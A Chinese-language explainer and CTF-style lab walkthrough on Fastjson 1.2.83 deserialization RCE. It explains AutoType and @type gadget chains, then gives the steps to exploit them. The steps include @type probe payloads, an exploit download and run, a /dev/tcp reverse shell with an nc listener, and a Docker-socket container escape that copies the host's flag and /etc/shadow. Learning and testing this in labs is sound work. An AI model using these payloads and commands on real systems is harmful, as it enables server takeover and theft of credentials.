1. Fastjson 是什么?
简单来说,Fastjson 是阿里巴巴开源的一个 Java 语言编写的高性能 JSON 处理库。
它的核心工作只有两个:
- 序列化(Serialization): 把 Java 中的"对象(Object)"转换成"JSON 字符串"。
- 反序列化(Deserialization): 把前端传来的"JSON 字符串"转换回后端的"Java 对象"。
在传统的 JavaWeb 开发中,前后端分离是非常主流的架构。前端(浏览器)通常只认 JSON 数据,而后端(服务器)是用 Java 写的,满脑子都是面向对象。Fastjson 就像一个高效的"翻译官",让前端的 JSON 和后端的 Java 对象能够顺畅沟通。因为它速度极快、API 简单,在国内的 Java 生态中被极其广泛地应用。
2. 漏洞的根源:多态与 @type
普通的 JSON 只是纯纯的键值对(比如 {"name": "Alice", "age": 20}),它是一个静态的文本,本身是没有什么危险的。
但是,普通的 JSON 存在一个缺陷:它会丢失 Java 对象的"类型(Class)"信息。
假设你的 Java 代码里有一个父类 Animal,它有两个子类 Dog 和 Cat。如果你把一个 Dog 对象序列化成 JSON,出来的可能只是 {"legs": 4, "bark": true}。当服务器再次收到这段 JSON 准备反序列化时,它怎么知道该还原成 Dog 还是 Cat 呢?
为了解决这个面向对象中的"多态"问题,Fastjson 引入了一个非常强大(但也极其致命)的机制:AutoType。
当开启 AutoType 时,Fastjson 允许在 JSON 字符串中插入一个特殊的键名 @type,用来强行指定这个 JSON 应该被还原成哪个具体的 Java 类。
json
{
"@type": "com.example.Dog",
"legs": 4,
"bark": true
}
当 Fastjson 看到 @type 时,它会乖乖地按照指示,去内存里找到 com.example.Dog 这个类,并实例化它,然后把后面的属性赋给这个新生的对象。
3. 为什么会变成安全灾难?
在正常业务中,@type 是用来实例化开发者自己写的类(比如 Dog、User)。
但在 Web 安全和 CTF 竞赛的视角下,这个机制暴露出一个巨大的信任漏洞:如果这段 JSON 是由攻击者恶意构造的呢?
攻击者可以在 @type 后面填入任意的类名。只要这个类存在于当前 Java 环境的类路径(ClassPath)中,Fastjson 就会去加载并实例化它。
更危险的是,Java 在实例化对象或者对属性赋值时,会自动调用该类的一些特定方法(比如无参构造函数、getter/setter 方法等)。
如果攻击者在庞大的 Java 依赖库中,找到了一些极其特殊的类------这些类的构造函数或 setter 方法里,碰巧写着能够执行系统命令 、读写文件 或发起网络请求 的代码(这些特殊的类在安全界被称为 Gadget ,即利用链)------那么攻击者只需把这个 Gadget 类的名字写进 @type,Fastjson 在尝试反序列化它的瞬间,恶意代码就被触发了。
这就是经典的 Fastjson 反序列化导致远程命令执行(RCE)漏洞。一旦触发,攻击者就可以直接接管整台服务器。
vulnos平台 OS-00118靶场通关
开局登录框,通过读取 js 源码文件知道是 FastJson 1.2.83 版本。

发送登录请求 Burpsuite 抓包:

在 Repeater 里把 body 改成:
json
{"@type":"java.net.Inet4Address","val":"1.1.1.1"}
或者改成:
json
{
"@type":"java.lang.Class",
"val":"com.sun.rowset.JdbcRowSetImpl"
}
点 Send 发送返回了 Unexpected object type 说明 autotype 生效了,@type 被成功解析,Fastjson 反序列化漏洞确认存在。

漏洞原理:Fastjson 1.2.83 @JSONType 远程类加载 RCE
技术原理
Step 1 --- @type 值被转换为资源 URL
Fastjson 在 checkAutoType() 中有如下代码逻辑:
java
String className = typeName.replace('.', '/') + ".class";
InputStream is = config.getDefaultClassLoader().getResourceAsStream(className);
当攻击者传入 @type 为 jar:http:..2130706433:51199.probe_fjqjauo3!.foo.Tfjqjauo3Exception 时:
.被替换为/..变成//(URL 协议分隔符)2130706433是127.0.0.1的整数形式(避免 IP 中的.被替换)- 最终形成:
jar:http://2130706433:51199/probe_fjqjauo3!/foo/Tfjqjauo3Exception.class
Step 2 -- 字节码扫描与 @JSONType 信任
当 Fastjson 下载了远程 JAR 中的 class 字节码后,它会使用 ASM 字节码框架 扫描该 class 是否包含 @JSONType 注解。
- 若注解存在,则设置内部标志
jsonType = true。 - 关键问题 :Fastjson 并未验证该 class 的来源(例如签名、白名单、可信类加载器),只要字节码中含有该注解,即被信任。
Step 3 -- 触发类加载并执行 static 块
在后续反序列化流程中,Fastjson 执行如下逻辑:
java
if (autoTypesupport || jsonType || expectclassFlag) {
clazz = TypeUtils.loadClass(typeName, defaultClassLoader, cacheClass);
}
当 jsonType == true 时,直接调用 loadClass 加载该类,而 loadClass 最终会调用 ClassLoader.defineClass,在此过程中 类的静态初始化块(<clinit>)会自动执行。
攻击者可以在 @JSONType 注解的类中编写恶意静态块(如执行系统命令、写入 webshell 等),从而实现远程代码执行。
Step 4 -- 绕过所有安全检查
java
if (jsonType) {
return clazz; // ← 直接返回,跳过黑名单、类型兼容性等所有检查
}
更危险的是,当 jsonType 为 true 时,Fastjson 会直接返回该类,跳过 后续的黑名单校验、类型兼容性检查等防护逻辑(代码中可见 if (jsonType) { return clazz; }),使得所有 autoType 安全机制形同虚设。

Fastjson 1.2.83 RCE → 反弹 Shell
利用 exp 及漏洞说明:https://vulnos.cn/cve?cveId=2079905276497555457
kali 下载 exp:
bash
curl https://dl.vulnos.cn/vmware/exp/fastjson-1.2.83-exp.zip -o /tmp/fastjson1.2.83-exp.zip
在 Kali 上解压:
bash
unzip fastjson1.2.83-exp.zip -d /tmp/fastjson-exp && cd /tmp/fastjson-exp
Exploit 原理:利用 Fastjson 1.2.83 的 jar:file: 协议 + /proc/self/fd/ 文件描述符绕过 autoType=false 限制,在 JDK 25 环境下实现 RCE
终端 1 --- 启动监听:
bash
nc -lvnp 4444
终端 2 --- 发送 exploit 触发反弹 Shell:
bash
cd /tmp/fastjson-exp && python3 exp.py http://192.168.1.2:8080/login --lhost 192.168.1.10 --mode auto --cmd "/bin/sh -i >& /dev/tcp/192.168.1.10/4444 0>&1"
首先通过 java -version 和 javac -version 命令检查 kali 上有没有 JDK 环境。若没有就依次执行这两个指令:
bash
sudo apt update
sudo apt install openjdk-25-jdk


Docker容器逃逸
拿到了 root 权限,但是现在是个 docker 容器的 root 权限,需要容器逃逸
在反弹 shell 中依次执行以下命令:
bash
id

bash
ls -la /var/run/docker.sock

bash
cat /proc/self/status | grep CapEff

bash
hostname

侦查结论:
- 容器内 root 权限 + 全 capabilities
- /var/run/docker.sock 可访问 → 可控制宿主机 Docker
- /host_proc 可读写宿主机文件系统
- 使用 --network host,与宿主机共享网络栈
再执行以下命令验证 Docker API 可用
bash
curl -s --unix-socket /var/run/docker.sock http://localhost/containers/json

返回容器列表即证明 API 可用。
创建逃逸容器 + 启动
bash
CID=$(curl -s --unix-socket /var/run/docker.sock -X POST -H "Content-Type: application/json" http://localhost/containers/create -d '{"Image":"ubuntu:22.04","Cmd":["/bin/sh","-c","cat /host_root/root/flag.txt > /host_root/tmp/flag_stolen.txt 2>&1; cat /host_root/etc/shadow >> /host_root/tmp/flag_stolen.txt 2>&1; sleep 60"],"HostConfig":{"Binds":["/:/host_root"],"Privileged":true}}' | python3 -c "import sys,json;print(json.load(sys.stdin).get('Id',''))") && curl -s --unix-socket /var/run/docker.sock -X POST "http://localhost/containers/$CID/start" && echo "[+] Escape container $CID started"
验证逃逸结果
bash
cat /host_proc/1/root/root/flag.txt
